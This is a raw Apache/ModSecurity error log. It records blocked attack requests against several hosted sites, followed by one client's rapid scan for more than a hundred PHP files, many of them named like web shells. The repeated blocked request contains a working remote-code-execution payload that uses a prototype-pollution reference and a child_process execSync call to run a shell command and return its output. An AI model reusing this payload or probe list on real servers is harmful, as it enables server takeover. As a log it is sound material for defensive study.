\\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.promalca.com"] [uri "/"] [unique_id "aUJDT-Yt2u9aoGlKIQhxUQAAAc4"] [Wed Dec 17 00:47:16.499148 2025] [:error] [pid 21106:tid 21127] [client 3.25.217.52:53384] [client 3.25.217.52] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.nrhidroplastic.com"] [uri "/"] [unique_id "aUJD5OYt2u9aoGlKIQhxgAAAAdM"] [Wed Dec 17 00:50:16.089632 2025] [:error] [pid 21106:tid 21127] [client 3.106.202.75:53888] [client 3.106.202.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.reskate.org"] [uri "/"] [unique_id "aUJEmOYt2u9aoGlKIQhxpgAAAdM"] [Wed Dec 17 01:07:59.732071 2025] [:error] [pid 21106:tid 21121] [client 98.94.40.235:56234] [client 98.94.40.235] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.quesphina.pe"] [uri "/"] [unique_id "aUJIv-Yt2u9aoGlKIQhywwAAAc0"] [Wed Dec 17 01:27:15.033701 2025] [:error] [pid 20969:tid 20991] [client 3.26.241.230:58944] [client 3.26.241.230] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.friomasterintl.com"] [uri "/"] [unique_id "aUJNQ65h-_IFSHk1rMnxEgAAAFE"] [Wed Dec 17 01:34:13.043615 2025] [:error] [pid 21106:tid 21123] [client 99.79.66.116:33464] [client 99.79.66.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.quesphina.pe"] [uri "/"] [unique_id "aUJO5eYt2u9aoGlKIQh2RQAAAc8"] [Wed Dec 17 02:17:25.099135 2025] [:error] [pid 21106:tid 21129] [client 95.40.88.6:48110] [client 95.40.88.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "198.199.72.26"] [uri "/"] [unique_id "aUJZBeYt2u9aoGlKIQiAcwAAAdU"] [Wed Dec 17 02:57:33.478560 2025] [:error] [pid 21043:tid 21084] [client 52.169.148.186:53780] File does not exist: /usr/local/apache/htdocs/wp-su.php [Wed Dec 17 02:57:33.578181 2025] [:error] [pid 21043:tid 21088] [client 52.169.148.186:53782] File does not exist: /usr/local/apache/htdocs/wp-pp.php [Wed Dec 17 02:57:33.668392 2025] [:error] [pid 21043:tid 21085] [client 52.169.148.186:53784] File does not exist: /usr/local/apache/htdocs/wp-acc.php [Wed Dec 17 02:57:33.815010 2025] [:error] [pid 21106:tid 21129] [client 52.169.148.186:53786] File does not exist: /usr/local/apache/htdocs/yanz.php [Wed Dec 17 02:57:33.906494 2025] [:error] [pid 21044:tid 21070] [client 52.169.148.186:53788] File does not exist: /usr/local/apache/htdocs/mk.PhP [Wed Dec 17 02:57:33.998176 2025] [:error] [pid 21044:tid 21063] [client 52.169.148.186:53790] File does not exist: /usr/local/apache/htdocs/yr.PHP [Wed Dec 17 02:57:34.088120 2025] [:error] [pid 21106:tid 21115] [client 52.169.148.186:53792] File does not exist: /usr/local/apache/htdocs/Mks3.PhP [Wed Dec 17 02:57:34.177770 2025] [:error] [pid 20969:tid 20983] [client 52.169.148.186:53794] File does not exist: /usr/local/apache/htdocs/jga.php [Wed Dec 17 02:57:34.267543 2025] [:error] [pid 21106:tid 21108] [client 52.169.148.186:53800] File does not exist: /usr/local/apache/htdocs/acp.php [Wed Dec 17 02:57:34.383562 2025] [:error] [pid 21106:tid 21112] [client 52.169.148.186:53802] File does not exist: /usr/local/apache/htdocs/term.php [Wed Dec 17 02:57:34.473131 2025] [:error] [pid 21106:tid 21132] [client 52.169.148.186:53804] File does not exist: /usr/local/apache/htdocs/upload.php [Wed Dec 17 02:57:34.576239 2025] [:error] [pid 20969:tid 20976] [client 52.169.148.186:53806] File does not exist: /usr/local/apache/htdocs/tools.php [Wed Dec 17 02:57:34.837457 2025] [:error] [pid 21106:tid 21113] [client 52.169.148.186:53808] File does not exist: /usr/local/apache/htdocs/lsd.php [Wed Dec 17 02:57:34.927916 2025] [:error] [pid 21106:tid 21128] [client 52.169.148.186:53810] File does not exist: /usr/local/apache/htdocs/xxx.php [Wed Dec 17 02:57:35.033864 2025] [:error] [pid 21106:tid 21121] [client 52.169.148.186:53812] File does not exist: /usr/local/apache/htdocs/track.php [Wed Dec 17 02:57:35.166839 2025] [:error] [pid 20969:tid 20980] [client 52.169.148.186:53814] File does not exist: /usr/local/apache/htdocs/Dede.php [Wed Dec 17 02:57:35.310005 2025] [:error] [pid 21106:tid 21125] [client 52.169.148.186:53816] File does not exist: /usr/local/apache/htdocs/fzb.php [Wed Dec 17 02:57:35.399509 2025] [:error] [pid 21044:tid 21059] [client 52.169.148.186:53818] File does not exist: /usr/local/apache/htdocs/ab.php [Wed Dec 17 02:57:35.490486 2025] [:error] [pid 21044:tid 21058] [client 52.169.148.186:53820] File does not exist: /usr/local/apache/htdocs/goomaogm.php [Wed Dec 17 02:57:35.623339 2025] [:error] [pid 21044:tid 21056] [client 52.169.148.186:53822] File does not exist: /usr/local/apache/htdocs/webix.php [Wed Dec 17 02:57:35.713479 2025] [:error] [pid 21044:tid 21060] [client 52.169.148.186:53824] File does not exist: /usr/local/apache/htdocs/sid3.php [Wed Dec 17 02:57:35.818163 2025] [:error] [pid 20969:tid 20977] [client 52.169.148.186:53826] File does not exist: /usr/local/apache/htdocs/xy.php [Wed Dec 17 02:57:35.910740 2025] [:error] [pid 21106:tid 21119] [client 52.169.148.186:53828] File does not exist: /usr/local/apache/htdocs/acp.php [Wed Dec 17 02:57:36.000231 2025] [:error] [pid 21106:tid 21123] [client 52.169.148.186:53830] File does not exist: /usr/local/apache/htdocs/v.php [Wed Dec 17 02:57:36.790643 2025] [:error] [pid 21044:tid 21067] [client 52.169.148.186:53838] File does not exist: /usr/local/apache/htdocs/goat.php [Wed Dec 17 02:57:36.955432 2025] [:error] [pid 21044:tid 21047] [client 52.169.148.186:53840] File does not exist: /usr/local/apache/htdocs/f6.php [Wed Dec 17 02:57:37.109476 2025] [:error] [pid 21043:tid 21083] [client 52.169.148.186:53842] File does not exist: /usr/local/apache/htdocs/file2.php [Wed Dec 17 02:57:37.201484 2025] [:error] [pid 21106:tid 21127] [client 52.169.148.186:53844] File does not exist: /usr/local/apache/htdocs/wok.php [Wed Dec 17 02:57:37.325586 2025] [:error] [pid 21106:tid 21126] [client 52.169.148.186:53848] File does not exist: /usr/local/apache/htdocs/file15.php [Wed Dec 17 02:57:37.414965 2025] [:error] [pid 21106:tid 21109] [client 52.169.148.186:53852] File does not exist: /usr/local/apache/htdocs/wsx.php [Wed Dec 17 02:57:37.535291 2025] [:error] [pid 21106:tid 21131] [client 52.169.148.186:53854] File does not exist: /usr/local/apache/htdocs/333.php [Wed Dec 17 02:57:37.629444 2025] [:error] [pid 21106:tid 21112] [client 52.169.148.186:53856] File does not exist: /usr/local/apache/htdocs/wsd.php [Wed Dec 17 02:57:37.718915 2025] [:error] [pid 21106:tid 21132] [client 52.169.148.186:53858] File does not exist: /usr/local/apache/htdocs/file21.php [Wed Dec 17 02:57:37.830444 2025] [:error] [pid 20969:tid 20984] [client 52.169.148.186:53860] File does not exist: /usr/local/apache/htdocs/ioxi-o.php [Wed Dec 17 02:57:37.937316 2025] [:error] [pid 21106:tid 21113] [client 52.169.148.186:53862] File does not exist: /usr/local/apache/htdocs/ini.php [Wed Dec 17 02:57:38.027042 2025] [:error] [pid 20969:tid 20992] [client 52.169.148.186:53864] File does not exist: /usr/local/apache/htdocs/123.php [Wed Dec 17 02:57:38.116794 2025] [:error] [pid 21044:tid 21066] [client 52.169.148.186:53866] File does not exist: /usr/local/apache/htdocs/13.php [Wed Dec 17 02:57:38.206919 2025] [:error] [pid 21043:tid 21081] [client 52.169.148.186:53868] File does not exist: /usr/local/apache/htdocs/file9.php [Wed Dec 17 02:57:38.296368 2025] [:error] [pid 21044:tid 21046] [client 52.169.148.186:53870] File does not exist: /usr/local/apache/htdocs/geck.php [Wed Dec 17 02:57:38.389861 2025] [:error] [pid 21043:tid 21095] [client 52.169.148.186:53872] File does not exist: /usr/local/apache/htdocs/yellow.php [Wed Dec 17 02:57:38.479313 2025] [:error] [pid 21106:tid 21128] [client 52.169.148.186:53874] File does not exist: /usr/local/apache/htdocs/plss3.php [Wed Dec 17 02:57:38.578026 2025] [:error] [pid 21043:tid 21082] [client 52.169.148.186:53876] File does not exist: /usr/local/apache/htdocs/6.php [Wed Dec 17 02:57:38.853578 2025] [:error] [pid 21106:tid 21121] [client 52.169.148.186:53878] File does not exist: /usr/local/apache/htdocs/bless3.php [Wed Dec 17 02:57:38.956383 2025] [:error] [pid 21043:tid 21093] [client 52.169.148.186:53880] File does not exist: /usr/local/apache/htdocs/wfile.php [Wed Dec 17 02:57:39.073085 2025] [:error] [pid 21044:tid 21070] [client 52.169.148.186:53882] File does not exist: /usr/local/apache/htdocs/gifclass.php [Wed Dec 17 02:57:39.162599 2025] [:error] [pid 21106:tid 21125] [client 52.169.148.186:53884] File does not exist: /usr/local/apache/htdocs/en0.php [Wed Dec 17 02:57:39.252344 2025] [:error] [pid 21043:tid 21096] [client 52.169.148.186:53886] File does not exist: /usr/local/apache/htdocs/alexus.php [Wed Dec 17 02:57:39.341954 2025] [:error] [pid 21106:tid 21119] [client 52.169.148.186:53888] File does not exist: /usr/local/apache/htdocs/111.php [Wed Dec 17 02:57:39.484056 2025] [:error] [pid 21043:tid 21094] [client 52.169.148.186:53894] File does not exist: /usr/local/apache/htdocs/wpo.php [Wed Dec 17 02:57:39.795067 2025] [:error] [pid 20969:tid 20994] [client 52.169.148.186:53896] File does not exist: /usr/local/apache/htdocs/ea.php [Wed Dec 17 02:57:40.057840 2025] [:error] [pid 21106:tid 21123] [client 52.169.148.186:53898] File does not exist: /usr/local/apache/htdocs/xsox.php [Wed Dec 17 02:57:40.147765 2025] [:error] [pid 21043:tid 21080] [client 52.169.148.186:53900] File does not exist: /usr/local/apache/htdocs/s.php [Wed Dec 17 02:57:40.237941 2025] [:error] [pid 21106:tid 21111] [client 52.169.148.186:53902] File does not exist: /usr/local/apache/htdocs/av.php.php [Wed Dec 17 02:57:40.328584 2025] [:error] [pid 21043:tid 21079] [client 52.169.148.186:53904] File does not exist: /usr/local/apache/htdocs/x3.php [Wed Dec 17 02:57:40.418425 2025] [:error] [pid 20969:tid 20987] [client 52.169.148.186:53906] File does not exist: /usr/local/apache/htdocs/akk.php [Wed Dec 17 02:57:40.510533 2025] [:error] [pid 21043:tid 21073] [client 52.169.148.186:53908] File does not exist: /usr/local/apache/htdocs/cong.php [Wed Dec 17 02:57:40.599980 2025] [:error] [pid 21044:tid 21063] [client 52.169.148.186:53910] File does not exist: /usr/local/apache/htdocs/inde.php [Wed Dec 17 02:57:40.689466 2025] [:error] [pid 21044:tid 21062] [client 52.169.148.186:53912] File does not exist: /usr/local/apache/htdocs/aaa.php [Wed Dec 17 02:57:40.779296 2025] [:error] [pid 21044:tid 21059] [client 52.169.148.186:53914] File does not exist: /usr/local/apache/htdocs/bless.php [Wed Dec 17 02:57:40.870276 2025] [:error] [pid 21044:tid 21058] [client 52.169.148.186:53918] File does not exist: /usr/local/apache/htdocs/031.php [Wed Dec 17 02:57:40.967770 2025] [:error] [pid 21044:tid 21056] [client 52.169.148.186:53920] File does not exist: /usr/local/apache/htdocs/aa.php [Wed Dec 17 02:57:41.072448 2025] [:error] [pid 21044:tid 21060] [client 52.169.148.186:53922] File does not exist: /usr/local/apache/htdocs/classgoto24.php [Wed Dec 17 02:57:41.176355 2025] [:error] [pid 21044:tid 21050] [client 52.169.148.186:53924] File does not exist: /usr/local/apache/htdocs/lock360.php [Wed Dec 17 02:57:41.266079 2025] [:error] [pid 21043:tid 21074] [client 52.169.148.186:53926] File does not exist: /usr/local/apache/htdocs/tgrs.php [Wed Dec 17 02:57:41.378292 2025] [:error] [pid 20969:tid 20982] [client 52.169.148.186:53928] File does not exist: /usr/local/apache/htdocs/naxc.php [Wed Dec 17 02:57:41.468788 2025] [:error] [pid 20969:tid 20985] [client 52.169.148.186:53930] File does not exist: /usr/local/apache/htdocs/iov.php [Wed Dec 17 02:57:41.560396 2025] [:error] [pid 20969:tid 20978] [client 52.169.148.186:53932] File does not exist: /usr/local/apache/htdocs/doti.php [Wed Dec 17 02:57:41.670632 2025] [:error] [pid 20969:tid 20980] [client 52.169.148.186:53936] File does not exist: /usr/local/apache/htdocs/install.php [Wed Dec 17 02:57:41.761878 2025] [:error] [pid 21106:tid 21129] [client 52.169.148.186:53940] File does not exist: /usr/local/apache/htdocs/alfa.php [Wed Dec 17 02:57:41.851579 2025] [:error] [pid 21043:tid 21090] [client 52.169.148.186:53944] File does not exist: /usr/local/apache/htdocs/sec.php [Wed Dec 17 02:57:41.978163 2025] [:error] [pid 21044:tid 21067] [client 52.169.148.186:53946] File does not exist: /usr/local/apache/htdocs/file52.php [Wed Dec 17 02:57:42.067402 2025] [:error] [pid 21044:tid 21047] [client 52.169.148.186:53948] File does not exist: /usr/local/apache/htdocs/wsr2.php [Wed Dec 17 02:57:42.331559 2025] [:error] [pid 21043:tid 21092] [client 52.169.148.186:53952] File does not exist: /usr/local/apache/htdocs/lala.php [Wed Dec 17 02:57:42.421319 2025] [:error] [pid 21043:tid 21076] [client 52.169.148.186:53954] File does not exist: /usr/local/apache/htdocs/bolt.php [Wed Dec 17 02:57:42.544865 2025] [:error] [pid 21043:tid 21078] [client 52.169.148.186:53956] File does not exist: /usr/local/apache/htdocs/zde.php [Wed Dec 17 02:57:42.637876 2025] [:error] [pid 21106:tid 21131] [client 52.169.148.186:53958] File does not exist: /usr/local/apache/htdocs/miso.php [Wed Dec 17 02:57:42.727419 2025] [:error] [pid 21106:tid 21116] [client 52.169.148.186:53960] File does not exist: /usr/local/apache/htdocs/1.php [Wed Dec 17 02:57:42.820499 2025] [:error] [pid 21106:tid 21120] [client 52.169.148.186:53962] File does not exist: /usr/local/apache/htdocs/gmo.php [Wed Dec 17 02:57:42.910989 2025] [:error] [pid 21106:tid 21114] [client 52.169.148.186:53964] File does not exist: /usr/local/apache/htdocs/file4.php [Wed Dec 17 02:57:43.001885 2025] [:error] [pid 21106:tid 21118] [client 52.169.148.186:53966] File does not exist: /usr/local/apache/htdocs/info.php [Wed Dec 17 02:57:43.091810 2025] [:error] [pid 21043:tid 21089] [client 52.169.148.186:53968] File does not exist: /usr/local/apache/htdocs/file1.php [Wed Dec 17 02:57:43.182128 2025] [:error] [pid 21043:tid 21087] [client 52.169.148.186:53970] File does not exist: /usr/local/apache/htdocs/gi.php [Wed Dec 17 02:57:43.271419 2025] [:error] [pid 21043:tid 21097] [client 52.169.148.186:53972] File does not exist: /usr/local/apache/htdocs/v.php [Wed Dec 17 02:57:43.360876 2025] [:error] [pid 20969:tid 20977] [client 52.169.148.186:53974] File does not exist: /usr/local/apache/htdocs/a3.php [Wed Dec 17 02:57:43.451338 2025] [:error] [pid 21044:tid 21046] [client 52.169.148.186:53976] File does not exist: /usr/local/apache/htdocs/file8.php [Wed Dec 17 02:57:43.540649 2025] [:error] [pid 21043:tid 21091] [client 52.169.148.186:53978] File does not exist: /usr/local/apache/htdocs/mail.php [Wed Dec 17 02:57:43.658250 2025] [:error] [pid 21106:tid 21130] [client 52.169.148.186:53980] File does not exist: /usr/local/apache/htdocs/css.php [Wed Dec 17 02:57:43.747820 2025] [:error] [pid 21044:tid 21070] [client 52.169.148.186:53982] File does not exist: /usr/local/apache/htdocs/rrr.php [Wed Dec 17 02:57:43.837545 2025] [:error] [pid 21043:tid 21075] [client 52.169.148.186:53984] File does not exist: /usr/local/apache/htdocs/pn.php [Wed Dec 17 02:57:43.926729 2025] [:error] [pid 21043:tid 21077] [client 52.169.148.186:53986] File does not exist: /usr/local/apache/htdocs/fns.php [Wed Dec 17 02:57:44.015867 2025] [:error] [pid 21043:tid 21084] [client 52.169.148.186:53988] File does not exist: /usr/local/apache/htdocs/filesss.php [Wed Dec 17 02:57:44.107304 2025] [:error] [pid 21043:tid 21088] [client 52.169.148.186:53990] File does not exist: /usr/local/apache/htdocs/abcd.php [Wed Dec 17 02:57:44.196914 2025] [:error] [pid 21106:tid 21122] [client 52.169.148.186:53992] File does not exist: /usr/local/apache/htdocs/klex.php [Wed Dec 17 02:57:44.287107 2025] [:error] [pid 21044:tid 21063] [client 52.169.148.186:53994] File does not exist: /usr/local/apache/htdocs/x0.php [Wed Dec 17 02:57:44.376586 2025] [:error] [pid 21044:tid 21051] [client 52.169.148.186:53998] File does not exist: /usr/local/apache/htdocs/ifm.php [Wed Dec 17 02:57:44.466353 2025] [:error] [pid 21106:tid 21117] [client 52.169.148.186:54002] File does not exist: /usr/local/apache/htdocs/fm.php [Wed Dec 17 02:57:44.556373 2025] [:error] [pid 21106:tid 21124] [client 52.169.148.186:54004] File does not exist: /usr/local/apache/htdocs/enclas.php [Wed Dec 17 02:57:44.646116 2025] [:error] [pid 21044:tid 21052] [client 52.169.148.186:54006] File does not exist: /usr/local/apache/htdocs/haa.php [Wed Dec 17 02:57:44.823091 2025] [:error] [pid 21106:tid 21110] [client 52.169.148.186:54008] File does not exist: /usr/local/apache/htdocs/taff.php [Wed Dec 17 02:57:44.914652 2025] [:error] [pid 21043:tid 21085] [client 52.169.148.186:54010] File does not exist: /usr/local/apache/htdocs/file88.php [Wed Dec 17 02:57:45.004306 2025] [:error] [pid 21044:tid 21048] [client 52.169.148.186:54012] File does not exist: /usr/local/apache/htdocs/opts.php [Wed Dec 17 02:57:45.153565 2025] [:error] [pid 21106:tid 21126] [client 52.169.148.186:54014] File does not exist: /usr/local/apache/htdocs/chosen.php [Wed Dec 17 02:57:45.243062 2025] [:error] [pid 21043:tid 21086] [client 52.169.148.186:54016] File does not exist: /usr/local/apache/htdocs/wolv.php [Wed Dec 17 02:57:45.332691 2025] [:error] [pid 20969:tid 20974] [client 52.169.148.186:54018] File does not exist: /usr/local/apache/htdocs/sadis.php [Wed Dec 17 02:57:45.422261 2025] [:error] [pid 21106:tid 21109] [client 52.169.148.186:54020] File does not exist: /usr/local/apache/htdocs/pent.php [Wed Dec 17 02:57:45.512899 2025] [:error] [pid 21043:tid 21083] [client 52.169.148.186:54022] File does not exist: /usr/local/apache/htdocs/aj.php [Wed Dec 17 02:57:45.602589 2025] [:error] [pid 21044:tid 21055] [client 52.169.148.186:54024] File does not exist: /usr/local/apache/htdocs/wan.php [Wed Dec 17 02:57:45.724440 2025] [:error] [pid 20969:tid 20984] [client 52.169.148.186:54026] File does not exist: /usr/local/apache/htdocs/cfile.php [Wed Dec 17 02:57:45.913783 2025] [:error] [pid 21106:tid 21131] [client 52.169.148.186:54032] File does not exist: /usr/local/apache/htdocs/usep.php [Wed Dec 17 02:57:46.009460 2025] [:error] [pid 21106:tid 21116] [client 52.169.148.186:54034] File does not exist: /usr/local/apache/htdocs/taktak.php [Wed Dec 17 02:57:46.105521 2025] [:error] [pid 21106:tid 21120] [client 52.169.148.186:54036] File does not exist: /usr/local/apache/htdocs/we.php [Wed Dec 17 02:57:46.320408 2025] [:error] [pid 21044:tid 21050] [client 52.169.148.186:54038] File does not exist: /usr/local/apache/htdocs/kaza.php [Wed Dec 17 02:57:46.451061 2025] [:error] [pid 21044:tid 21067] [client 52.169.148.186:54040] File does not exist: /usr/local/apache/htdocs/aghbvr.php [Wed Dec 17 02:57:46.542039 2025] [:error] [pid 20969:tid 20992] [client 52.169.148.186:54042] File does not exist: /usr/local/apache/htdocs/ut.php [Wed Dec 17 02:57:46.632275 2025] [:error] [pid 21106:tid 21114] [client 52.169.148.186:54044] File does not exist: /usr/local/apache/htdocs/0x.php [Wed Dec 17 02:57:46.724010 2025] [:error] [pid 21043:tid 21078] [client 52.169.148.186:54048] File does not exist: /usr/local/apache/htdocs/shellalfa.php [Wed Dec 17 02:57:46.817958 2025] [:error] [pid 21043:tid 21089] [client 52.169.148.186:54052] File does not exist: /usr/local/apache/htdocs/fm.php [Wed Dec 17 02:57:46.909336 2025] [:error] [pid 21043:tid 21087] [client 52.169.148.186:54054] File does not exist: /usr/local/apache/htdocs/article.php [Wed Dec 17 02:57:47.097139 2025] [:error] [pid 21043:tid 21097] [client 52.169.148.186:54056] File does not exist: /usr/local/apache/htdocs/10.php [Wed Dec 17 02:57:47.207000 2025] [:error] [pid 21043:tid 21091] [client 52.169.148.186:54058] File does not exist: /usr/local/apache/htdocs/ee.php [Wed Dec 17 02:57:47.304633 2025] [:error] [pid 20969:tid 20975] [client 52.169.148.186:54060] File does not exist: /usr/local/apache/htdocs/hi.php [Wed Dec 17 02:57:47.394543 2025] [:error] [pid 21106:tid 21118] [client 52.169.148.186:54062] File does not exist: /usr/local/apache/htdocs/ffile.php [Wed Dec 17 02:57:47.503318 2025] [:error] [pid 21106:tid 21130] [client 52.169.148.186:54064] File does not exist: /usr/local/apache/htdocs/mlex.php [Wed Dec 17 02:57:47.593673 2025] [:error] [pid 21106:tid 21122] [client 52.169.148.186:54066] File does not exist: /usr/local/apache/htdocs/fe5.php [Wed Dec 17 02:57:47.683863 2025] [:error] [pid 21043:tid 21080] [client 52.169.148.186:54068] File does not exist: /usr/local/apache/htdocs/shell1.php [Wed Dec 17 02:57:47.780733 2025] [:error] [pid 21106:tid 21123] [client 52.169.148.186:54072] File does not exist: /usr/local/apache/htdocs/133.php [Wed Dec 17 02:57:47.874738 2025] [:error] [pid 21043:tid 21079] [client 52.169.148.186:54076] File does not exist: /usr/local/apache/htdocs/bak.php [Wed Dec 17 02:57:48.033847 2025] [:error] [pid 21106:tid 21110] [client 52.169.148.186:54078] File does not exist: /usr/local/apache/htdocs/gifclass4.php [Wed Dec 17 02:57:48.124161 2025] [:error] [pid 21106:tid 21126] [client 52.169.148.186:54080] File does not exist: /usr/local/apache/htdocs/owl.php [Wed Dec 17 02:57:48.226727 2025] [:error] [pid 